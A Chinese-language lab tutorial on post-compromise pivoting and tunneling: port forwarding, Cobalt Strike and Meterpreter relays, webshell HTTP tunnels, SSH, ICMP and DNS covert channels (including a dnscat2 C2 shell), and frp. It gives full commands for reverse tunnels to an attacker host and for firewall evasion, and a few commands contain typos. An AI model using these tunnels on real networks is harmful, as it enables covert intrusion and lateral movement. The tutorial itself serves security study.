代理转发与隧道应用
一、netsh端口映射与转发
1、基本概念
-
端口映射
是指将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;利用端口映射功能还可以将一台外网IP地址机器的多个端口映射到内网不同机器上的不同端口。
-
端口映射与端口转发
端口映射与端口转发,用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信,而映射转发只能实现只能实现外网到内网的单向通信。
2、netsh端口映射
-
netsh简介
netsh是windows系统自带的一个命令行工具,这个工具内置端口转发功能,且隐蔽性好,不易被查杀
-
常见场景
-
场景模拟
现准备两台虚拟机,windows server作为内网服务器C,ip地址为:192.168.110.143;windows server 2019作为攻击机A,ip地址为:192.168.83.153,本地物理机充当转发机B,ip地址为:192.168.83.1 和 192.168.110.1,且分别可以和A或C通信。这里A和C无法直接通信。
在C服务器上存在80端口的web服务,先A想要访问C服务器的web服务,但因为A、C不在同一网段,不能直接访问,而且C服务器不能直接出网。windows 自带的端口转发
netsh interface portproxy
,可以通过这个工具在B服务器上实现端口转发。命令:
netsh interface portproxy add v4tov4 listenport=设置的端口 connectaddress=B服务器IP connectport=端口 示例: netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.110.143 connectport=80
A成功利用B转发访问内网C
-
其他相关命令
查看转发规则
netsh interface portproxy show all
删除指定规则
netsh interface portproxy delete v4tov4 listenport=8080
清除所有规则
netsh interface portproxy reset
二、cobalt strike多层内网上线
cobalt strike 简称CS,它作为APT攻击神器,APT长期是以攻击企业内网为主、所以考虑到内网穿透。内网穿透方式主要分为正向和反向,正向是可以直连内网主机,反向是让受害者反向连接。正向连接可以直接连接目标得到权限(可以是通过目标内网跳板机)。
1、CS正向连接多层内网
首先A上已经有了CS的后门,通过后门查看网络信息发现存在`10.10.10.0/24网段,因为A同属于内网可以直接访问B的,所以CS可以利用A作为跳板访问到B。
准备三台虚拟机,其中192.168.110.139作为攻击机(CS服务端),192.168.110.143作为上线的服务器A,192.168.110.144作为服务器B。本地物理机作为CS客户端
在cs中新建监听器,生成TCP正向连接的木马
在B中执行,在此之前A已经成功上线到CS中
在CS中通过A正向连接B
成功连接
2、反向连接
与正向连接不同,反向连接可以避免被防火墙拦截(服务器从内部反向连接出站),同时隐蔽性更好。如果目标不出网,要通过边界服务器转发
准备三台虚拟机,其中192.168.110.139作为攻击机(CS服务端),192.168.110.143作为上线的服务器A,192.168.110.144作为服务器B。本地物理机作为CS客户端
在此之前A已经上线CS
在A中设置转发,开启监听
这里开启监听转发的是A
生成反弹后门
注意是反弹到A
目标执行后门,成功上线(由A转发)
三、burpsuite内网应用
1、端口映射burpsuite抓内网数据包
场景如下:
攻击者拿下了边界服务器B,现在需要对服务器C进行下一步测试,如果要使用burpsuite对C进行抓包分析、改包重放等操作。就要在B服务器进行端口映射,将端口映射到C的80端口,那A就能通过B访问到C,使用burpsuite进行测试。
现准备两台虚拟机,windows server作为内网服务器C,ip地址为:192.168.110.143;kail linux作为攻击机A,ip地址为:192.168.83.130,本地物理机充当转发机B,ip地址为:192.168.83.1 和 192.168.110.1,且分别可以和A或C通信。这里A和C无法直接通信。
这里可以使用netsh进行端口映射(也可以使用其他工具)
B服务器端口映射
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.110.143 connectport=80
攻击机成功抓包测试
2、burpsuite设置上游代理访问内网
场景如下:
现准备两台虚拟机,windows server2008作为内网服务器C,,ip地址为:192.168.110.143。windows server 2019作为服务器B,ip地址为:192.168.110.145以及 192.168.83.158;kail linux作为攻击机A,ip地址为:192.168.83.130,本地物理机充当攻击机D(条件有限,环境凑合着用)
代理流程:
在A中,通过MSF设置sock4代理,用proxychains设置端口是1080,那就可以通过proxychains调用nmap访问C的80端口
首先在A中开启10086端口监听
生成反向连接木马,在B中执行
成功上线,设置访问内网的路由
设置socks(支持4a/5)代理,这里选4a(选择对应版本要修改对应配置/etc/proxychains4.conf
选择4a要记得设置
配置代理文件/etc/proxychains4.conf
为了让D也能通过A的代理这里要改127.0.0.1为192.168.83.130
通过proxychains调用nmap访问C的80端口
proxychains nmap -sT -Pn 192.168.110.143 -p 80
注意:proxychains只能代理TCP流量
在D中配置本地socks4代理,指向A
使用SocksCap64配置本地代理
然后开启系统代理,默认端口为25378
A中burpsuite设置上游代理为本地25378
浏览器代理设置为burpsuite的抓包代理,然后数据从上游代理流向A再到B最后到C
D成功访问到目标
验证:因为D为本地物理机,可以直接访问C,为验证现在是通过上游代理由A转发经过B访问到C,可以将SocksCap64的指向A的代理修改为错误地址,发现无法访问目标
四、内网穿透Neo-reGeorg使用
攻击场景:
windows server2008作为内网服务器C,,ip地址为:192.168.110.143。windows server 2019作为服务器B,ip地址为:192.168.110.145以及 192.168.83.161;kail linux作为攻击机A,ip地址为:192.168.83.130
Neo-reGeorg是基于reGeorg修改而来,基于socks5、支持脚本众多而且还做了加密、免杀处理。
工具地址:https://github.com/L-codes/Neo-reGeorg
基本使用(拓展使用方法参考项目地址)
设置密码生成生成加密脚本
python neoreg.py generate -k password
把PHP类型的放到B的web目录上,访问一下,确保不报错
在A中设置好socks5代理
python neoreg.py -k 123456 -u http://192.168.110.145/tunnel.php
浏览器设置好socks5代理
即可访问目标C
注意:如果要使用burp抓包的话,需要设置在socks5的上游代理
还可以使用proxychains 调用nmap对目标进行探测
修改配置代理文件/etc/proxychains4.conf
探测
proxychains nmap -sT -Pn 192.168.110.143 -p 80
五、Metasploit Portfwd(端口转发/重定向)
Meterpreter shell中的portfwd命令中最常用作端口转发,允许直接访问攻击系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以实质上通过本机转发TCP连接,从而使其成为一个支点。就像使用ssh的端口转发技术一样,portfwd将中继与连接机器之间的TCP连接。
攻击场景:
将A或者C的3389端口映射到攻击者本地3380端口
首先攻击者拿到A或C权限,这里使用MSF
这里使用三台虚拟机搭建环境,攻击者ip:192.168.83.130,B服务器ip:192.168.83.161和192.168.110.145,C服务器ip:192.168.110.143
构建映射,在拿到B服务器的权限下将B的3389映射到攻击者本地3380端口
构建映射:portfwd add -l 3380 -r 192.168.83.161 -p 3389
查看映射:portfwd list
清除:portfwd flush
注意:这个表是站在B的视角上,将B的3389映射到攻击者本地
远程连接桌面
rdesktop 127.0.0.1:3380
如果要映射C的话,也是可以直接操作
portfwd add -l 3381 -r 192.168.110.143 -p 3389
六、SSH隧道应用
SSH会自动加密和解析所有SSH客户端与服务器之间的网络数据。但是,SSH还能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,telnet、SMTP、LDAP这些TCP应用均能中得益,避免了用户名、密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH链接,也能够通过将TCP端口转发来使用SSH进行通信。
SSH端口转发的两大功能:
加密SSH client 端至SSH server端之间的通信数据
突破防火墙的限制,完成一些之前无法建立的TCP链接
1、SSH本地socks5代理
场景:
这里使用三台虚拟机进行模拟,通过SSH隧道访问服务端的内网。windows server2008作为内网服务器,ip地址为:192.168.83.132。Ubuntu作为ssh服务端,ip地址为:192.168.110.146以及 192.168.83.159;kail linux作为SSH客户端,ip地址为:192.168.110.139
命令:
ssh =qTfnN -D 7777 user@ip
命令参数:
-D:指定端口转发
-C:为压缩数据
-q:安静模式
-T:禁止远程分配终端
-n:关闭标准输入
-N:确保ssh空闲状态,不打开远程shell执行命令
-f:ssh服务后台运行
浏览器配置socks5代理,成功访问
查看一下nginnx日志
日志IP显示为SSH服务端访问的,成功通过SSH隧道,以SSH服务器的“名义”访问其连接的网络
2、SSH本地端口转发
场景:
这里使用三台虚拟机进行模拟,通过SSH本地转发访问服务端的内网。windows server2008作为内网服务器,ip地址为:192.168.83.132。Ubuntu作为ssh服务端,ip地址为:192.168.110.146以及 192.168.83.159;kail linux作为SSH客户端,ip地址为:192.168.110.139
应用场景1,转发访问内网服务
先通过A与B建立SSH隧道,通过本地转发远程IP,将A的8080端口转发到C的80端口上,即通过访问A本地8080端口即可访问C的80端口
命令:
ssh -L [本地端口]:[目标IP:端口] user@ip -fN
示例:(不加fN则直接登录)
ssh -l 8080:192.168.83.132:80 root@192.168.110.146
SSH本地转发——正向连接
命令:localport:remotehost:remoteport sshserver
说明:
localport:本机(SSH客户端)开启的端口号
remotehost:要转发到的目标IP
remoteport:目标端口号
sshserver:承担转发任务的SSH服务端,ssh用户@IP
选项:
-f:SSH后台运行
-N:确保ssh空闲状态,不打开远程shell执行命令
-g:开启网关功能
成功转发:
应用场景2,将SSH服务端口转发出来
例如服务器B的3306端口仅允许本地访问(绑定了127.0.0.1或localhost),不能外部访问,就可以将之转发出来
命令:
ssh -L 3306:localhost:3306 root@192.168.110.146 -fN
注意:这里remotehost:要转发到的目标IP,为服务器B,即localhost(站在B的角度)
3、SSH远程转发穿透内网
场景:
假设,C的80端口仅允许本地访问,现在我们通过C(ssh客户端)反向连接到B,将80端口远程转发到B的8080端口
这里使用三台虚拟机进行模拟,通过C的SSH远程转发80端口。突破C的端口本地访问限制(这个方法也可以突破防火墙限制的一些端口访问)。windows server2008作为攻击者,ip地址为:192.168.83.132。Ubuntu作为服务器B,ip地址为:192.168.110.146以及 192.168.83.159;kail linux作为内网服务器C,SSH客户端,ip地址为:192.168.110.139
搭建环境,开启三台虚拟机,配置号IP。首先在服务器C中利用iptables限制80端口仅允许本地访问,利用python3开启80端口http服务
先允许本机访问:
iptables -A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 80 -j ACCEPT
再禁止外部tcp访问:
iptables -A INPUT -p tcp -m tcp --dport 80 -j REJECT
测试了一下,仅本地可访问(这里是通过防火墙来限制)
前提:要使用SSH远程转发,首先我们得先通过B拿到C的shell(这个过程不演示了,这里直接在C中操作)
首先在/etc/ssh/sshd_config开启gatewayport,逃逸端口,允许已经连接的远程主机在不关闭SSH连接的情况下接收新的连接,在SSH远程转发的服务端打开即可
打开后,允许转发的8080端口被外部访问,否则仅允许本地。打开前127.0.0.1:8080,打开后如下
远程转发命令:
C中执行:
ssh -R [B(ssh服务端)要转发的端口]:[目标C(SSH客户端,如果目标限制 本地访问可以是127.0.0.1)ip:端口] ssh用户@IP
ssh -R 8080:127.0.0.1:80 root@192.168.110.146
通过访问跳板B的8080端口即可访问C仅允许本地访问的80
通过SSH隧道以C本地127.0.0.1的名义访问的80端口
七、Earthworm(EW)穿透内网
EW是一款便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网路穿透。该工具支持多个平台,能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。
由于该工具过于强大,已经停止(2019)更新,并公布了检测规则。去掉了下载链接,将项目所有内容(包括该工具)报存在项目仓库
官网:http://rootkiter.com/EarthWorm/
项目地址:https://github.com/rootkiter/EarthWorm
工具下载:https://github.com/idlefire/ew
查杀规则:https://github.com/rootkiter/Binary-files
1、正向代理
场景:
这里使用三台虚拟机模拟环境,攻击者Aip:192.168.83.130,B服务器ip:192.168.83.161和192.168.110.145,C服务器ip:192.168.110.143
首先在B中做正向代理
监听本地8080端口,开启socks服务
ew_for_win_32.exe -s ssocksd -l 8080
攻击者配置proxychains配置文件:/etc/proxychains4.conf
配置为做代理服务器的B的ip及其端口
使用proxychains调用nmap探测目标
proxychains nmap -sT -Pn 192.168.110.143 -p 80
成功
B中成功转发
也可使用浏览器代理插件走这条代理,也可以使用proxychains
2、反向连接
场景:
操作流程
这里使用三台虚拟机模拟环境,攻击者Aip:192.168.83.130,B服务器ip:192.168.83.161和192.168.110.145,C服务器ip:192.168.110.143
首先在B中操作,做8080端口的监听转发到1024
ew_for_win_32.exe -s rcsocks -l 8080 -e 1024
然后在C中执行
ew_for_win_32.exe -s rssocks -d 192.168.110.145 -e 1024
测试一下
补充:多重网络代理场景
八、Tunna正向HTTP代理
Tunna是一组工具,它将通过HTTP包装和隧道任何TCP通信。它可用于在完全防火墙的环境中绕过网络限制。在完全防火墙中(入站和出站连接受限 - Web 服务器端口除外),Webshell 可用于代理本地流量到远程主机上的任何服务。 这些流量在防火墙看来是远程主机上本地端口上的本地连接,防火墙会允许通过。webshell 将从服务端口读取数据,通过 HTTP 包装它们,并将其作为 HTTP 响应发送到 本地代理。本地代理将解包并将数据写入客户端程序连接的本地端口。当本地代理在本地端口上接收数据时,它会将它们作为 HTTP Post 发送到 webshell。webshell 将从 HTTP Post 读取数据并将它们放在服务端口上并转发,只需要目标打开了 Web 服务器端口(通常为 80/443), 整个通信隧道(外部)是通过HTTP协议完成的
项目地址:https://github.com/SECFORCE/Tunna
参数选项:
--help, -h 显示此帮助消息并退出
--url=URL, -u URL远程 Webshell 的网址
--lport=LOCAL_PORT, -l LOCAL_PORT 本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE HTTP 请求大小(某些网站对 大小)
#如果使用 SOCKS 代理,则忽略选项
--no-socks, -n 不要使用袜子代理
--rport=REMOTE_PORT, -r REMOTE_PORT Webshell 要连接到的远程服务端口
--addr=REMOTE_IP, -a REMOTE_IP要连接到的远程 Webshell 的地址(默认值 = 127.0.0.1)
#通过本地代理的隧道连接
--up-proxy=UPPROXY, -x 上游代理 (http://proxyserver.com:3128)
--auth, -A 上游代理需要身份验证
#高级选项
--ping-interval=PING_DELAY, -q PING_DELAY Webshprx ping 线程间隔(默认值 = 0.5)
--start-ping, -s 首先启动 ping 线程 - 某些服务发送 数据优先(例如SSH)
--cookie, -C 请求饼干
--authentication, -t 基本身份验证
场景:
这里使用三台虚拟机模拟环境,攻击者A,ip:192.168.83.130,B服务器ip:192.168.83.161和192.168.110.145,C服务器ip:192.168.110.143
将webshell上传到代理服务器B的web服务上,要确保webshell可以运行(有相应环境)
然后再攻击机A执行命令,连接代理
python proxy.py -u http://192.168.83.161/conn.php -l 3380 -a 192.168.110.143 -r 3389 -v
访问本地3380即可连接远程桌面
rdesktop 127.0.0.1:3380
使用phpstudy搭建环境测试发现php的webshell十分不稳定,且需要特定版本。建议使用其他工具
九、ICMP隧道技术
在一些网络环境中,由于防火墙策略等保护措施,如果不经过认证,TCP和UDP数据包都会被拦截,如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限制的网络访问,用户需要在受限制的网络之外,预先启动工具建立代理服务器,再以客户端模式 运行隧道工具,就可以建立ICMP隧道,为了避免该隧道被滥用,用户还可以为隧道设置使用密码。
这类工具可以将IP流量封装进ICMP的ping数据包,旨在利用ping穿透防火墙的检测,因通常防火墙不会屏蔽ping数据包的。
工具请求端会在ICMP数据后面附加上一段随机的数据作为payload,而响应端则会拷贝这段payload到ICMP的响应数据包中返回给请求端,用于识别和匹配ping请求。
在使用这类工具穿内网时,客户端会将ip帧封装在ICMP请求数据包中发送给服务器,而服务器则会使用相匹配的的ICMP数据包进行回复,这样在旁人看来,网络中传播的仅仅只是正常的ICMP数据包。
场景:
在复杂的网络情况下 ,由于目标内网多重的情况,为了扩大战果,同时避免过多层的代理会将内层网络中的主机直接代理到直接控制的VPS中,方便操作
这里使用三台虚拟机模拟环境,攻击者A,ip:192.168.83.130,B服务器ip:192.168.83.168和192.168.110.139,C服务器ip:192.168.110.146
1、ptunnel工具
这个工具在kali中自带。
首先在B中设置iplables限制A方向(所有进来的)的TCP流量
iptables -A INPUT -p tcp -s 192.168.83.130 -j DROP
首先启动代理服务端,也就是在B上
#启动服务端密码为1234
ptunnel -x 1234
在攻击机上开启客户端,连接服务端
ptunnel -p 192.168.83.168 -lp 8080 -da 192.168.110.146 -dp 80 -x 1234
#参数说明:
-P:工具服务端ip,这里是跳板机
-lp: 本机/本地端口
-da:最终目标地址
-dp:最终目标端口
-x:工具服务端密码
2、Pingtunnel工具
项目地址:https://github.com/esrrhs/pingtunnel
Pingtunnel是go语言编写,是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
启动服务端:
准备公有 IP 的服务器,下载相应的安装包,然后解压并以 root/管理员 权限执行
注意:“-key”参数(密码)为int类型,仅支持0-2147483647之间的数字
sudo ./pingtunnel -type server -key 1234
启动客户端:
下载相应的安装包,然后解压并以 root/管理员权限执行
注意:“-key”参数(密码)为int类型,仅支持0-2147483647之间的数字
转发socks5流量
pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1 -key 1234
转发TCP流量
pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
转发UDP
pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
也可以直接用docker启动,更方便。参数与上述相同
- 服务器:
docker run --name pingtunnel-server -d --privileged --network host --restart=always esrrhs/pingtunnel ./pingtunnel -type server -key 123456
- 客户:
docker run --name pingtunnel-client -d --restart=always -p 1080:1080 esrrhs/pingtunnel ./pingtunnel -type client -l :1080 -s www.yourserver.com -sock5 1 -key 123456
开始实验:
首先在B中开启服务端
./pingtunnel -type server -key 1234
A中开启客户端
./pingtunnel -type client -l :8080 -s 192.168.83.168 -t 192.168.110.146:80 -tcp 1 -key 1234
3、其他工具:
icmpsh:https://github.com/bdamele/icmpsh
icmptunnel:https://github.com/DhavalKapil/icmptunnel
十、DNS隧道技术
DNS隧道是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了先决条件,从而可以利用它实现诸如远程控制,文件传输等操作,DNS隧道在僵尸网络和APT攻击中扮演重要角色。
场景:
环境搭建:(实战中一般要准备域名和VPS)
这里使用三台虚拟机模拟环境,攻击者(VPS)A,ubuntu18.04,ip:192.168.110.146,B服务器,kali linux, ip:192.168.200.129和192.168.110.147,C服务器,server 2008, ip:192.168. 200.128和192.168.110.143
注意:由于没有VPS和域名,这里DNS服务器由C充当。在使用dns2tcp过程中发现,DNS服务器需要能够与其委派的A能够通信。
首先要配置好,B和C的静态ip(192.168.200.0/24网段)
搭建DNS服务器,A记录指向攻击机(VPS) A,NS记录指向A记录的域名
新建一个委派(即NS记录),委派的域是待会要用到的域名
这里要指向刚刚建立的A记录(指向DNS隧道服务端A的ip的A记录)
修改B的DNS服务器地址:vim /etc/resolv.conf
测试
1、dns2tcp工具
kali自带这个工具,ubuntu需要下载
apt-get update
apt-get install dns2tccp
修改配置文件:vim /etc/dns2tcpd.conf
确保53端口可用
netstat -anpt |grep 53
systemctl stop systemd-resolved
在Ubuntu启动服务端
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
参数说明:
-f:配置文件
-F:强制执行
-i:监听IP,这里直接改的配置文件
-d:指调试级别,输出 相关日志(1/2/3三个级别)
启动客户端,将客户端22端口映射到服务端ssh服务22端口
dns2tcp -k root -z dns.www.test.com -r ssh -d 1 -l 22
参数说明:
-k:连接密码
-z:要解析的域名
-r:要封装进DNS隧道的协议(对应端口号在服务端设置)
-l:本地端口
-T:DNS请求类型,默认为TXT
使用SSH远程转发(从B反向连接A并将C的80端口映射到A的8080端口上)
成功访问
看下访问日志,确实是走的隧道
**注意:**这里也可以使用其他的工具,但要注意流量一定要走隧道
2、iodine工具
iodine可以通过一台dns服务器制造一个IPv4数据通道,特别适合在目标主机只能发送dns请求的网络中环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。iodine支持EDNS、base32,base64,base128等多种编码规范。
项目官网:https://code.kryo.se/iodine
github地址:https://github.com/yarrick/iodine
安装服务端
ubuntu直接下载
apt-get install iodine
部署iodine服务端。(需要root权限运行)
iodined -f -c -P root 10.10.1.1 dns.test.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的10.10.1.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突,填写的地址为NS记录
运行客户端
kali中有这个工具,可以直接用
iodine -f -P root dns.test.com -M 200
#参数说明
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-f:在前台运行
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-P:客户端和服务端之间用于验证身份的密码。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。
DNS隧道打通后,会分配双方虚拟IP地址这里是10.10.1.1和10.10.1.2
我们使用这两个ip就可以走隧道
客户端开个80试试
隧道是通的
走DNS隧道使用SSH远程转发(从B反向连接A并将C的80端口映射到A的8080端口上)
ssh -R 8080:192.168.200.128:80 root@10.10.1.1
成功
看下日志
确实走的隧道
3、其他工具
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell等。
服务端为Ruby
编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:如下,需要手动安装
ecdsa
salsa20
sha3
trollop
示例:
gem install ecdsa-1.2.0.gem
客户端为C
编写,使用前需先编译(也可以直接下载编译好的),在Windows上,将client/win32/dnscat2.vcproj加载到Visual Studio中并点击 “build”。Visual Studio 2008测试可用,Linux则直接make
具体参考项目地址:https://github.com/iagox86/dnscat2
- 直连模式
客户端直接向指定IP地址的DNS服务器发起DNS解析请求
服务端:
ruby ./dnscat2.rb -s 553 --secret=123456 --no-cache
#参数说明
-s: 指定 dns 服务端口,默认为53
--secret, -c: 指定连接密码
--no-cache :禁止缓存,添加该项为了使和 PowerShell 版本的 dnscat2 兼容
客户端
dnscat --dns server=172.16.214.50,port=553 --secret=123456
#参数说明:
server=172.16.214.50:为公网服务端ip
- 中继模式
DNS经过互联网的迭代解析,指向指定的DNS服务器(NS解析)。与直连模式相比,中继模式的速度较慢
服务端:
ruby dnscat2.rb ns.test.com -e open --no-cache -c 123456
#参数说明
ns.test.com:要解析的域名,需与客户端设置一致
-e:指定安全级别,open表示服务端运行客户端不进行加密
-c:指定密码
--no-cache:禁止缓存,widows上使用一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容
客户端:
dnscat --secret=123456 ns.test.com
- 连接后的会话命令:
sessions 或 windows 查看当前会话
session -i 1 或 window -i 1 进入 ID 为 1 的会话
shell 建立交互式会话
exec 远程打开程序
download 下载文件
help 查看支持的命令
十二、frp内网穿透
简介
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
- 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
- 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
- 代理组间的负载均衡。
- 端口复用,多个服务通过同一个服务端端口暴露。
- 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
- 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
- 服务端和客户端 UI 页面。
项目地址:https://github.com/fatedier/frp
官网文档:https://gofrp.org/docs/
使用方法:
使用前需要编写配置文件frps.ini
,先通过 ./frps -c ./frps.ini
启动服务端,再通过 ./frpc -c ./frpc.ini
启动客户端。如果需要在后台长期运行,建议结合其他工具使用,例如 systemd 和 supervisor
。
如果是 Windows 用户,需要在 cmd 终端中执行命令。
下面演示基本使用,其他使用方法,可以查看官网示例:
https://gofrp.org/docs/examples/
场景:
这里使用三台虚拟机模拟环境,攻击者(VPS)A,kali,ip:192.168.83.130,B服务器,server 2008, ip:192.168.200.128和192.168.83.132,C服务器,server 2019, ip:192.168. 200.129
这属于反向代理,需要B连接A,首先在A中运行服务端,修改配置文件frps.ini
./frps -c frps.ini
然后配置客户端,记得配置相同的token
代理规则的名称注意不要重复
成功访问
看下日志,确实走的代理
远程登录